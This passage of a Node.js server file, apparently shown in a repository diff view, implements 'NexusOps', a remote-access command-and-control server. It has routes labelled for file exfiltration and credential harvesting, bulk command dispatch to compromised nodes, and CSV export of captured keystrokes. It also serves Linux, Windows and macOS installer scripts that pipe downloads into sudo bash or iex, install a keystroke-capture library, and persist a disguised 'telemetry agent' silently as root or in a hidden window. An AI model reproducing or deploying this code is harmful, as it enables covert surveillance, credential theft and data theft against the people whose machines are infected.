// Queue Bulk Command
|
||||||
|
app.post('/api/nodes/bulk-command', (req, res) => {
|
||||||
|
const { command, actionType, payload } = req.body;
|
||||||
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
||||||
|
|
||||||
|
if (onlineNodes.length === 0) {
|
||||||
|
return res.status(400).json({ error: 'No online nodes available' });
|
||||||
|
}
|
||||||
|
|
||||||
|
const queuedIds = [];
|
||||||
|
onlineNodes.forEach(node => {
|
||||||
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
||||||
|
const actionName = actionType || 'raw_command';
|
||||||
|
|
||||||
|
const cmdObj = {
|
||||||
|
id: commandId,
|
||||||
|
actionType: actionName,
|
||||||
|
payload: payload || { command },
|
||||||
|
command: command || actionName,
|
||||||
|
createdAt: Date.now()
|
||||||
|
};
|
||||||
|
|
||||||
|
if (!commandQueues.has(node.id)) {
|
||||||
|
commandQueues.set(node.id, []);
|
||||||
|
}
|
||||||
|
commandQueues.get(node.id).push(cmdObj);
|
||||||
|
|
||||||
|
commandHistory.push({
|
||||||
|
id: commandId,
|
||||||
|
nodeId: node.id,
|
||||||
|
hostname: node.hostname,
|
||||||
|
command: `[BULK] ${command || actionName}`,
|
||||||
|
status: 'queued',
|
||||||
|
createdAt: Date.now(),
|
||||||
|
output: ''
|
||||||
|
});
|
||||||
|
queuedIds.push(commandId);
|
||||||
|
});
|
||||||
|
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
|
||||||
|
});
|
||||||
|
|
||||||
|
app.delete('/api/nodes/:id', (req, res) => {
|
||||||
|
const nodeId = req.params.id;
|
||||||
|
nodes.delete(nodeId);
|
||||||
|
commandQueues.delete(nodeId);
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Kill Switch — shutdown all agents on all nodes ──
|
||||||
|
app.post('/api/nodes/killswitch', (req, res) => {
|
||||||
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
||||||
|
if (onlineNodes.length === 0) {
|
||||||
|
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
|
||||||
|
}
|
||||||
|
onlineNodes.forEach(node => {
|
||||||
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
||||||
|
commandQueues.get(node.id).push({
|
||||||
|
id: `kill-${Date.now()}`,
|
||||||
|
actionType: 'kill_agent',
|
||||||
|
payload: {},
|
||||||
|
command: 'kill_agent',
|
||||||
|
createdAt: Date.now()
|
||||||
|
});
|
||||||
|
});
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Export Input Capture as CSV ──
|
||||||
|
app.get('/api/inputs/csv', (req, res) => {
|
||||||
|
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
|
||||||
|
inputDataStore.slice(-500).forEach(e => {
|
||||||
|
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
|
||||||
|
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
|
||||||
|
});
|
||||||
|
res.setHeader('Content-Type', 'text/csv');
|
||||||
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
|
||||||
|
res.send(csv);
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Ping node — latency check ──
|
||||||
|
app.post('/api/nodes/:id/ping', (req, res) => {
|
||||||
|
const nodeId = req.params.id;
|
||||||
|
if (!nodes.has(nodeId)) {
|
||||||
|
return res.status(404).json({ error: 'Node not found' });
|
||||||
|
}
|
||||||
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
||||||
|
const cmdId = `ping-${Date.now()}`;
|
||||||
|
commandQueues.get(nodeId).push({
|
||||||
|
id: cmdId,
|
||||||
|
actionType: 'ping_check',
|
||||||
|
payload: { timestamp: Date.now() },
|
||||||
|
command: 'ping_check',
|
||||||
|
createdAt: Date.now()
|
||||||
|
});
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true, commandId: cmdId });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── File Exfiltration — agent sends file back ──
|
||||||
|
app.post('/api/agent/file-result', (req, res) => {
|
||||||
|
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
|
||||||
|
const entry = commandHistory.find(c => c.id === commandId);
|
||||||
|
if (entry) {
|
||||||
|
entry.status = error ? 'failed' : 'completed';
|
||||||
|
entry.completedAt = Date.now();
|
||||||
|
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
|
||||||
|
else entry.output = `[FILE ERROR] ${error}`;
|
||||||
|
}
|
||||||
|
if (!error && data) {
|
||||||
|
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
|
||||||
|
exfiltratedFiles.set(fileId, {
|
||||||
|
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
||||||
|
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
||||||
|
});
|
||||||
|
}
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Download exfiltrated file ──
|
||||||
|
app.get('/api/files/:id', (req, res) => {
|
||||||
|
const file = exfiltratedFiles.get(req.params.id);
|
||||||
|
if (!file) return res.status(404).json({ error: 'File not found' });
|
||||||
|
const buf = Buffer.from(file.data, 'base64');
|
||||||
|
res.setHeader('Content-Type', file.mime);
|
||||||
|
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
|
||||||
|
res.send(buf);
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── List exfiltrated files ──
|
||||||
|
app.get('/api/files', (req, res) => {
|
||||||
|
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
|
||||||
|
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
|
||||||
|
mime: f.mime, size: f.size, timestamp: f.timestamp
|
||||||
|
})));
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Credential Harvest Result ──
|
||||||
|
app.post('/api/agent/harvest-result', (req, res) => {
|
||||||
|
const { commandId, nodeId, hostname, credentials, error } = req.body;
|
||||||
|
const entry = commandHistory.find(c => c.id === commandId);
|
||||||
|
if (entry) {
|
||||||
|
entry.status = error ? 'failed' : 'completed';
|
||||||
|
entry.completedAt = Date.now();
|
||||||
|
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
|
||||||
|
}
|
||||||
|
if (credentials && Array.isArray(credentials)) {
|
||||||
|
credentials.forEach(c => {
|
||||||
|
harvestedCredentials.push({
|
||||||
|
nodeId, hostname, type: c.type || 'unknown', data: c.data,
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
});
|
||||||
|
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
|
||||||
|
}
|
||||||
|
broadcastState();
|
||||||
|
res.json({ success: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── List harvested credentials ──
|
||||||
|
app.get('/api/credentials', (req, res) => {
|
||||||
|
const { nodeId } = req.query;
|
||||||
|
let filtered = harvestedCredentials;
|
||||||
|
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
|
||||||
|
res.json(filtered.slice(-200));
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/install.sh', (req, res) => {
|
||||||
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
||||||
|
const script = `#!/bin/bash
|
||||||
|
# Network Node Agent One-Liner Installer for Linux
|
||||||
|
set -e
|
||||||
|
|
||||||
|
SERVER_URL="http://${host}"
|
||||||
|
INSTALL_DIR="/opt/network-agent"
|
||||||
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
||||||
|
|
||||||
|
echo "=================================================="
|
||||||
|
echo " NexusOps Network Node Agent Installer "
|
||||||
|
echo "=================================================="
|
||||||
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
||||||
|
|
||||||
|
mkdir -p "$INSTALL_DIR"
|
||||||
|
|
||||||
|
echo "[1/3] Downloading agent script..."
|
||||||
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
||||||
|
chmod +x "$INSTALL_DIR/agent.py"
|
||||||
|
|
||||||
|
echo "[2/4] Configuring systemd background daemon..."
|
||||||
|
cat << EOF > "$SERVICE_FILE"
|
||||||
|
[Unit]
|
||||||
|
Description=NexusOps Node Telemetry & Management Agent
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
||||||
|
Restart=always
|
||||||
|
RestartSec=5
|
||||||
|
User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "[3/4] Installing pynput for keystroke/click capture..."
|
||||||
|
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
||||||
|
|
||||||
|
echo "[4/4] Enabling & Starting Agent Service..."
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable network-agent
|
||||||
|
systemctl restart network-agent
|
||||||
|
|
||||||
|
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
||||||
|
`;
|
||||||
|
res.setHeader('Content-Type', 'text/plain');
|
||||||
|
res.send(script);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/install.ps1', (req, res) => {
|
||||||
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
||||||
|
const script = `# Network Agent PowerShell Installer for Windows
|
||||||
|
$SERVER_URL = "http://${host}"
|
||||||
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
||||||
|
|
||||||
|
Write-Host "==================================================" -ForegroundColor Cyan
|
||||||
|
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
|
||||||
|
Write-Host "==================================================" -ForegroundColor Cyan
|
||||||
|
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
|
||||||
|
|
||||||
|
if (!(Test-Path $INSTALL_DIR)) {
|
||||||
|
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
||||||
|
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
||||||
|
|
||||||
|
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
||||||
|
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
||||||
|
|
||||||
|
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
||||||
|
`;
|
||||||
|
res.setHeader('Content-Type', 'text/plain');
|
||||||
|
res.send(script);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/install-mac.sh', (req, res) => {
|
||||||
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
||||||
|
const script = `#!/bin/bash
|
||||||
|
# macOS Node Agent Installer — launchd background daemon
|
||||||
|
set -e
|
||||||
|
|
||||||
|
SERVER_URL="http://${host}"
|
||||||
|
INSTALL_DIR="/opt/network-agent"
|
||||||
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
||||||
|
|
||||||
|
echo "=================================================="
|
||||||
|
echo " NexusOps Node Agent Installer (macOS) "
|
||||||
|
echo "=================================================="
|
||||||
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
||||||
|
|
||||||
|
echo "[1/4] Creating installation directory..."
|
||||||
|
sudo mkdir -p "$INSTALL_DIR"
|
||||||
|
sudo chown "$(whoami)" "$INSTALL_DIR"
|
||||||
|
|
||||||
|
echo "[2/4] Downloading cross-platform Python agent..."
|
||||||
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
||||||
|
chmod +x "$INSTALL_DIR/agent.py"
|
||||||
|
|
||||||
|
echo "[3/4] Installing pynput for input capture..."
|
||||||
|
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
||||||
|
|
||||||
|
echo "[4/4] Configuring launchd background daemon..."
|
||||||
|
mkdir -p "$HOME/Library/LaunchAgents"
|
||||||
|
cat << EOF > "$PLIST_FILE"
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>Label</key>
|
||||||
|
<string>com.nexusops.agent</string>
|
||||||
|
<key>ProgramArguments</key>
|
||||||
|
<array>
|
||||||
|
<string>/usr/bin/python3</string>
|
||||||
|
<string>$INSTALL_DIR/agent.py</string>
|
||||||
|
<string>--server</string>
|
||||||
|
<string>$SERVER_URL</string>
|
||||||
|
<string>--silent</string>
|
||||||
|
</array>
|
||||||
|
<key>RunAtLoad</key>
|
||||||
|
<true/>
|
||||||
|
<key>KeepAlive</key>
|
||||||
|
<true/>
|
||||||
|
<key>StandardOutPath</key>
|
||||||
|
<string>$INSTALL_DIR/agent.log</string>
|
||||||
|
<key>StandardErrorPath</key>
|
||||||
|
<string>$INSTALL_DIR/agent.log</string>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
launchctl unload "$PLIST_FILE" 2>/dev/null || true
|
||||||
|
launchctl load "$PLIST_FILE"
|
||||||
|
|
||||||
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
||||||
|
echo " To stop: launchctl unload $PLIST_FILE"
|
||||||
|
`;
|
||||||
|
res.setHeader('Content-Type', 'text/plain');
|
||||||
|
res.send(script);
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
||||||
|
app.get('/install', (req, res) => {
|
||||||
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
||||||
|
const silent = req.query.silent !== '0'; // silent by default
|
||||||
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
||||||
|
const script = `#!/bin/bash
|
||||||
|
# NexusOps Universal Auto-Installer — one command, any OS
|
||||||
|
SERVER_URL="http://${host}"
|
||||||
|
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
||||||
|
|
||||||
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||||
|
Linux)
|
||||||
|
echo "[*] Linux detected — deploying via systemd"
|
||||||
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
||||||
|
;;
|
||||||
|
Darwin)
|
||||||
|
echo "[*] macOS detected — deploying via launchd"
|
||||||
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
|
||||||
|
;;
|
||||||
|
CYGWIN*|MINGW*|MSYS*|Windows)
|
||||||
|
echo "[*] Windows detected — deploying via PowerShell"
|
||||||
|
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "[!] Unknown OS — trying Linux installer as fallback"
|
||||||
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
echo "[*] Agent deployment initiated — it will register within 10 seconds"
|
||||||
|
`;
|
||||||
|
res.setHeader('Content-Type', 'text/plain');
|
||||||
|
res.send(script);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/agent.py', (req, res) => {
|
||||||
|
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
|
||||||
|
});
|
||||||
|
|
||||||
|
server.listen(PORT, '0.0.0.0', () => {
|
||||||
|
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
|
||||||
|
console.log(`=======================================================`);
|
||||||
|
console.log(`🚀 NexusOps Central Node Control Server is running!`);
|
||||||
|
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
|
||||||
|
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
|
||||||
|
if (PUBLIC_URL) {
|
||||||
|
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
|
||||||
|
}
|
||||||
|
console.log(`=======================================================`);
|
||||||
|
});
|
||||||
Reference in New Issue
Block a user